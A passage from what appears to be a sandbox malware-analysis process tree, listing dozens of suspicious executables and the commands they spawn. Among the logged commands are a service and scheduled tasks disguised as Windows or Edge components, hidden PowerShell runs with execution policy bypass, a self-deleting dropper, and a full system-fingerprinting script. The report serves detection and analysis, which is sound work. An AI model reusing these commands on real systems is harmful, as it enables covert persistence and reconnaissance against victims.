      "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\obyq2jux.blx"
      4⤵
      PID:8932
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\obyq2jux.blx /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\obyq2jux.blx\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\obyq2jux.blx --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffafc0ec728,0x7ffafc0ec734,0x7ffafc0ec740
        5⤵
        
        PID:9308
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\obyq2jux.blx" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=2072,i,4457318803065427204,3330728442289711039,262144 --field-trial-handle=2332,i,4778730516567892645,2964543663115419400,262144 --variations-seed-version --mojo-platform-channel-handle=2328 /prefetch:2
        5⤵
        
        PID:5964
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\obyq2jux.blx" --force-high-res-timeticks=disabled --metrics-shmem-handle=2384,i,4169252182375648651,7193998957806235265,524288 --field-trial-handle=2332,i,4778730516567892645,2964543663115419400,262144 --variations-seed-version --mojo-platform-channel-handle=2964 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:8228
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\obyq2jux.blx" --force-high-res-timeticks=disabled --metrics-shmem-handle=2484,i,11363917530856593357,8541553805172277454,524288 --field-trial-handle=2332,i,4778730516567892645,2964543663115419400,262144 --variations-seed-version --mojo-platform-channel-handle=2460 /prefetch:13
        5⤵
        
        PID:6956
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\obyq2jux.blx" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3352,i,3991182033998884444,16983828231928964226,2097152 --field-trial-handle=2332,i,4778730516567892645,2964543663115419400,262144 --variations-seed-version --mojo-platform-channel-handle=3388 /prefetch:1
        5⤵
        
        PID:10104
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\obyq2jux.blx" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3360,i,14136373854326926725,5196758993688116187,2097152 --field-trial-handle=2332,i,4778730516567892645,2964543663115419400,262144 --variations-seed-version --mojo-platform-channel-handle=3348 /prefetch:1
        5⤵
        
        PID:10216
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\obyq2jux.blx" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3540,i,4849557946078404950,3805484561050440648,2097152 --field-trial-handle=2332,i,4778730516567892645,2964543663115419400,262144 --variations-seed-version --mojo-platform-channel-handle=3752 /prefetch:1
        5⤵
        
        PID:6480
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\obyq2jux.blx" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3552,i,4003659862901261259,17662452261176085432,2097152 --field-trial-handle=2332,i,4778730516567892645,2964543663115419400,262144 --variations-seed-version --mojo-platform-channel-handle=3756 /prefetch:9
        5⤵
        
        PID:4696
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\obyq2jux.blx" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=4100,i,16424345834850904862,18198337626883195579,2097152 --field-trial-handle=2332,i,4778730516567892645,2964543663115419400,262144 --variations-seed-version --mojo-platform-channel-handle=4116 /prefetch:9
        5⤵
        
        PID:8596
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\obyq2jux.blx" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4484,i,5015547475275056557,7187716349125416257,2097152 --field-trial-handle=2332,i,4778730516567892645,2964543663115419400,262144 --variations-seed-version --mojo-platform-channel-handle=4504 /prefetch:1
        5⤵
        
        PID:10248
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\obyq2jux.blx" --force-high-res-timeticks=disabled --metrics-shmem-handle=4692,i,17356274630615627515,12870209497312815817,524288 --field-trial-handle=2332,i,4778730516567892645,2964543663115419400,262144 --variations-seed-version --mojo-platform-channel-handle=4720 /prefetch:14
        5⤵
        
        PID:10788
- - C:\Users\Admin\AppData\Local\Temp\a\wearebeack.exe
    wearebeack.exe
    3⤵
    PID:6220
- - C:\Users\Admin\AppData\Local\Temp\a\Thor7.exe
    Thor7.exe
    3⤵
    PID:2668
- - C:\Users\Admin\AppData\Local\Temp\a\file_f309f8496f916deb.exe
    file_f309f8496f916deb.exe
    3⤵
    PID:6368
- - C:\Users\Admin\AppData\Local\Temp\a\test.exe
    test.exe
    3⤵
    PID:5624
- - C:\Users\Admin\AppData\Local\Temp\a\mKM65Cf6QNqeOVw9.exe
    mKM65Cf6QNqeOVw9.exe
    3⤵
    PID:7668
  - - C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" delete "MicrosoftEdgeUpdateTaskMachine_3aa5"
      4⤵
      Launches sc.exe
      PID:7396
  - - C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" create "MicrosoftEdgeUpdateTaskMachine_3aa5" binpath= "C:\ProgramData\Microsoft\Network\Diagnostics\73BF5F50\LockAppHost14a02b.exe" start= "auto"
      4⤵
      Launches sc.exe
      PID:7612
  - - C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" start "MicrosoftEdgeUpdateTaskMachine_3aa5"
      4⤵
      Launches sc.exe
      PID:7832
- - C:\Users\Admin\AppData\Local\Temp\a\gM9anpOuZNKX8zHj.exe
    gM9anpOuZNKX8zHj.exe
    3⤵
    PID:7768
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /create /tn "DeviceMetadataRetrieval_e122" /tr "C:\Users\Admin\AppData\Roaming\Network3F73\SmartScreenHost27dac.exe" /sc minute /mo 1 /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5624
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Stop-Process -Force -Id 7768; Start-Sleep -Seconds 3; Remove-Item 'C:\Users\Admin\AppData\Local\Temp\a\gM9anpOuZNKX8zHj.exe'
      4⤵
      PID:8484
- - C:\Users\Admin\AppData\Local\Temp\a\ChromeSetup.exe
    ChromeSetup.exe
    3⤵
    PID:7860
  - - C:\Users\Admin\AppData\Local\Temp\ChromeSetup.exe
      C:\Users\Admin\AppData\Local\Temp\ChromeSetup.exe
      4⤵
      PID:7344
    - - C:\Windows\SystemTemp\Google7344_1329232081\bin\updater.exe
        
        "C:\Windows\SystemTemp\Google7344_1329232081\bin\updater.exe" --install=appguid={8A69D345-D564-463C-AFF1-A69D9E530F96}&iid={7CE1A3BF-8CB5-0868-5AE3-3E79944A9662}&lang=ru&browser=4&usagestats=1&appname=Google%20Chrome&needsadmin=prefers&ap=-arch_x64-statsdef_1&installdataindex=empty --enable-logging --vmodule=*/components/winhttp/*=1,*/components/update_client/*=2,*/chrome/enterprise_companion/*=2,*/chrome/updater/*=2
        5⤵
        
        PID:3160
      - C:\Windows\SystemTemp\Google7344_1329232081\bin\updater.exe
        
        C:\Windows\SystemTemp\Google7344_1329232081\bin\updater.exe --crash-handler --system "--database=C:\Program Files (x86)\Google\GoogleUpdater\144.0.7547.0\Crashpad" --url=https://clients2.google.com/cr/report --annotation=prod=Update4 --annotation=ver=144.0.7547.0 "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" --initial-client-data=0x2a8,0x2ac,0x2b0,0x2a4,0x2b4,0xbfe5fc,0xbfe608,0xbfe614
        6⤵
        
        PID:2524
- - C:\Users\Admin\AppData\Local\Temp\a\6eq5gvOfRvNmCi54.exe
    6eq5gvOfRvNmCi54.exe
    3⤵
    PID:7992
  - - C:\Users\Admin\AppData\Local\Microsoft\Windows\AppRepository\B2A4528A\MusNotificationce794c.exe
      "C:\Users\Admin\AppData\Local\Microsoft\Windows\AppRepository\B2A4528A\MusNotificationce794c.exe"
      4⤵
      PID:7544
- - C:\Users\Admin\AppData\Local\Temp\a\build_x32.exe
    build_x32.exe
    3⤵
    PID:3948
- - C:\Users\Admin\AppData\Local\Temp\a\715-16.exe
    715-16.exe
    3⤵
    PID:4620
- - C:\Users\Admin\AppData\Local\Temp\a\when-ill-start-earn-money.exe
    when-ill-start-earn-money.exe
    3⤵
    PID:7204
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe"
      4⤵
      PID:6580
- - C:\Users\Admin\AppData\Local\Temp\a\9z7BGnRGpgs8cZv7.exe
    9z7BGnRGpgs8cZv7.exe
    3⤵
    PID:6588
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /create /tn "ScheduledDefragmentation_1f05" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exe" /sc minute /mo 1 /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:8108
  - - C:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exe
      "C:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exe"
      4⤵
      PID:8512
- - C:\Users\Admin\AppData\Local\Temp\a\ppisondeers.exe
    ppisondeers.exe
    3⤵
    PID:8068
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe"
      4⤵
      PID:1336
- - C:\Users\Admin\AppData\Local\Temp\a\bot.exe
    bot.exe
    3⤵
    PID:6248
- - C:\Users\Admin\AppData\Local\Temp\a\app.exe
    app.exe
    3⤵
    PID:7480
  - - C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Johan.msi" AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\a\app.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\a\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1784756855 "
      4⤵
      PID:6400
- - C:\Users\Admin\AppData\Local\Temp\a\raj101.exe
    raj101.exe
    3⤵
    PID:7964
- - C:\Users\Admin\AppData\Local\Temp\a\Chrome08.exe
    Chrome08.exe
    3⤵
    PID:6148
- - C:\Users\Admin\AppData\Local\Temp\a\Signori78.exe
    Signori78.exe
    3⤵
    PID:4416
- - C:\Users\Admin\AppData\Local\Temp\a\1207-1007.exe
    1207-1007.exe
    3⤵
    PID:4320
- - C:\Users\Admin\AppData\Local\Temp\a\chrome78.exe
    chrome78.exe
    3⤵
    PID:3736
- - C:\Users\Admin\AppData\Local\Temp\a\file_3a1cc00092af29d0.exe
    file_3a1cc00092af29d0.exe
    3⤵
    PID:3012
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\a\test.vbs"
      4⤵
      Executes a VBScript file via the Windows Script Host.
      PID:8624
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn ondlrvess5556 /tr "wscript.exe 'C:\Users\Admin\AppData\Local\Temp\ondlrvesxx.vbs'" /sc minute /mo 25 /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8228
    - - C:\Windows\SysWOW64\wscript.exe
        
        "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\641348045.vbs"
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:10192
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\641348045.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10268
  - - C:\Windows\SysWOW64\wscript.exe
      C:\Windows\System32\wscript.exe //B "C:\Users\Admin\AppData\Local\Temp\a\test.vbs"
      4⤵
      Executes a VBScript file via the Windows Script Host.
      PID:8540
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn ondlrvess5556 /tr "wscript.exe 'C:\Users\Admin\AppData\Local\Temp\ondlrvesxx.vbs'" /sc minute /mo 25 /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:9524
    - - C:\Windows\SysWOW64\wscript.exe
        
        "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\920029991.vbs"
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:9992
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\920029991.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10892
- - C:\Users\Admin\AppData\Local\Temp\a\watchdog.exe
    watchdog.exe
    3⤵
    PID:7532
  - - C:\Users\Admin\AppData\Local\Temp\a\watchdog.exe
      watchdog.exe
      4⤵
      PID:8196
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        5⤵
        Executes a command shell one-liner
        
        PID:4776
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command " $WshShell = New-Object -ComObject WScript.Shell $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RemotePanelWatchdog.lnk') $Shortcut.TargetPath = 'C:\ProgramData\RemotePanel\watchdog.exe' $Shortcut.WorkingDirectory = 'C:\ProgramData\RemotePanel' $Shortcut.Save() "
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2020
    - - C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist.exe /FI "PID eq 256" /FO CSV /NH
        5⤵
        Enumerates processes with tasklist
        
        PID:6880
    - - C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist.exe /FI "PID eq 256" /FO CSV /NH
        5⤵
        Enumerates processes with tasklist
        
        PID:11588
- - C:\Users\Admin\AppData\Local\Temp\a\online.exe
    online.exe
    3⤵
    PID:7164
  - - C:\Users\Admin\AppData\Local\Temp\a\online.exe
      online.exe
      4⤵
      PID:256
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        5⤵
        Executes a command shell one-liner
        
        PID:5736
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command " $ErrorActionPreference = 'SilentlyContinue' $os = Get-CimInstance Win32_OperatingSystem $cs = Get-CimInstance Win32_ComputerSystem $cpu = Get-CimInstance Win32_Processor | Select-Object -First 1 $bios = Get-CimInstance Win32_BIOS $board = Get-CimInstance Win32_BaseBoard $product = Get-CimInstance Win32_ComputerSystemProduct $publicIp = $null try { $publicIp = (Invoke-RestMethod -Uri 'https://api.ipify.org?format=text' -TimeoutSec 10).ToString().Trim() } catch { try { $publicIp = (Invoke-WebRequest -UseBasicParsing -Uri 'https://api.ipify.org' -TimeoutSec 10).Content.Trim() } catch {} } $disks = Get-CimInstance Win32_LogicalDisk -Filter \"DriveType=3\" | ForEach-Object { [PSCustomObject]@{ device = $_.DeviceID label = $_.VolumeName filesystem = $_.FileSystem size_bytes = [int64]$_.Size free_bytes = [int64]$_.FreeSpace } } $adapters = @() try { $adapters = Get-NetAdapter -Physical | ForEach-Object { $adapter = $_ $ipcfg = Get-NetIPConfiguration -InterfaceIndex $adapter.ifIndex [PSCustomObject]@{ name = $adapter.Name description = $adapter.InterfaceDescription mac = (($adapter.MacAddress -replace '-', ':').ToUpper()) status = [string]$adapter.Status ipv4 = @($ipcfg.IPv4Address | ForEach-Object { $_.IPAddress }) gateway = @($ipcfg.IPv4DefaultGateway | ForEach-Object { $_.NextHop }) dns = @($ipcfg.DNSServer.ServerAddresses) } } } catch { $adapters = Get-CimInstance Win32_NetworkAdapterConfiguration -Filter \"IPEnabled=True\" | ForEach-Object { [PSCustomObject]@{ name = $_.Description description = $_.Description mac = (($_.MACAddress -replace '-', ':').ToUpper()) status = 'unknown' ipv4 = @($_.IPAddress | Where-Object { $_ -match '^\d+\.' }) gateway = @($_.DefaultIPGateway) dns = @($_.DNSServerSearchOrder) } } } $roots = @( 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*', 'HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*', 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*' ) $programs = foreach ($root in $roots) { Get-ItemProperty $root | Where-Object { $_.DisplayName } | ForEach-Object { [PSCustomObject]@{ name = [string]$_.DisplayName version = [string]$_.DisplayVersion publisher = [string]$_.Publisher install_date = [string]$_.InstallDate } } } $programs = @($programs | Sort-Object name, version -Unique) $defender = $null try { $mp = Get-MpComputerStatus $defender = [PSCustomObject]@{ antivirus_enabled = [bool]$mp.AntivirusEnabled realtime_enabled = [bool]$mp.RealTimeProtectionEnabled signatures_updated_at = if ($mp.AntivirusSignatureLastUpdated) { $mp.AntivirusSignatureLastUpdated.ToString('o') } else { $null } } } catch {} $result = [PSCustomObject]@{ schema_version = 1 collected_at = (Get-Date).ToUniversalTime().ToString('o') hostname = $env:COMPUTERNAME username = [Environment]::UserName domain = $cs.Domain workgroup = $cs.Workgroup public_ip = $publicIp os = [PSCustomObject]@{ caption = $os.Caption version = $os.Version build = $os.BuildNumber architecture = $os.OSArchitecture installed_at = if ($os.InstallDate) { $os.InstallDate.ToUniversalTime().ToString('o') } else { $null } last_boot = if ($os.LastBootUpTime) { $os.LastBootUpTime.ToUniversalTime().ToString('o') } else { $null } } hardware = [PSCustomObject]@{ manufacturer = $cs.Manufacturer model = $cs.Model total_ram_bytes = [int64]$cs.TotalPhysicalMemory cpu = $cpu.Name cpu_cores = $cpu.NumberOfCores cpu_logical = $cpu.NumberOfLogicalProcessors bios_serial = $bios.SerialNumber bios_version = [string]$bios.SMBIOSBIOSVersion motherboard_manufacturer = $board.Manufacturer motherboard_product = $board.Product motherboard_serial = $board.SerialNumber motherboard_uuid = $product.UUID } disks = @($disks) network_adapters = @($adapters) programs = @($programs) security = [PSCustomObject]@{ defender = $defender } } $result | ConvertTo-Json -Depth 8 -Compress "
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9564
- - C:\Users\Admin\AppData\Local\Temp\a\Upaavirkeligheden.exe
    Upaavirkeligheden.exe
    3⤵
    PID:7912
  - - C:\Users\Admin\AppData\Local\Temp\a\Upaavirkeligheden.exe
      "C:\Users\Admin\AppData\Local\Temp\a\Upaavirkeligheden.exe"
      4⤵
      PID:5888
- - C:\Users\Admin\AppData\Local\Temp\a\file_77b5757ae75eb20b.exe
    file_77b5757ae75eb20b.exe
    3⤵
    PID:8020
- - C:\Users\Admin\AppData\Local\Temp\a\s.exe
    s.exe
    3⤵
    PID:1476
  - - C:\Program Files\Monero GUI Wallet\monero-wallet-gui.exe
      "C:\Program Files\Monero GUI Wallet\monero-wallet-gui.exe"
      4⤵
      PID:8748
- - C:\Users\Admin\AppData\Local\Temp\a\db9c0fee.exe
    db9c0fee.exe
    3⤵
    PID:8632
- - C:\Users\Admin\AppData\Local\Temp\a\00231.exe
    00231.exe
    3⤵
    PID:1760
- - C:\Users\Admin\AppData\Local\Temp\a\update.exe
    update.exe
    3⤵
    PID:9532
- - C:\Users\Admin\AppData\Local\Temp\a\bot_x64.exe
    bot_x64.exe
    3⤵
    PID:5736
  - - C:\Users\Admin\AppData\Local\Temp\xejelmnk.exe
      "C:\Users\Admin\AppData\Local\Temp\xejelmnk.exe"
      4⤵
      PID:9232
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --log-level=3 --headless=new
        5⤵
        
        PID:9156
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome9156240863281 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome9156240863281\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome9156240863281 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffafc0ec728,0x7ffafc0ec734,0x7ffafc0ec740
        6⤵
        
        PID:9320
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome9156240863281" --force-high-res-timeticks=disabled --field-trial-handle=2376,i,14442189010396485127,336002005033266530,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2548 /prefetch:11
        6⤵
        System Time Discovery
        
        PID:704
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome9156240863281" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2376,i,14442189010396485127,336002005033266530,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2372 /prefetch:2
        6⤵
        
        PID:6832
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome9156240863281" --force-high-res-timeticks=disabled --field-trial-handle=2376,i,14442189010396485127,336002005033266530,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2556 /prefetch:13
        6⤵
        
        PID:8664
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome9156240863281" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=2376,i,14442189010396485127,336002005033266530,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3228 /prefetch:1
        6⤵
        
        PID:11604
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome9156240863281" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=2376,i,14442189010396485127,336002005033266530,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3364 /prefetch:1
        6⤵
        
        PID:11612
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome9156240863281" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=2376,i,14442189010396485127,336002005033266530,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3712 /prefetch:9
        6⤵
        
        PID:11712
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome9156240863281" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=2376,i,14442189010396485127,336002005033266530,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3692 /prefetch:1
        6⤵
        
        PID:11704
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome9156240863281" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=2376,i,14442189010396485127,336002005033266530,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4180 /prefetch:9
        6⤵
        
        PID:11720
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-first-run --log-level=3 --headless=new
        5⤵
        
        PID:11960
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
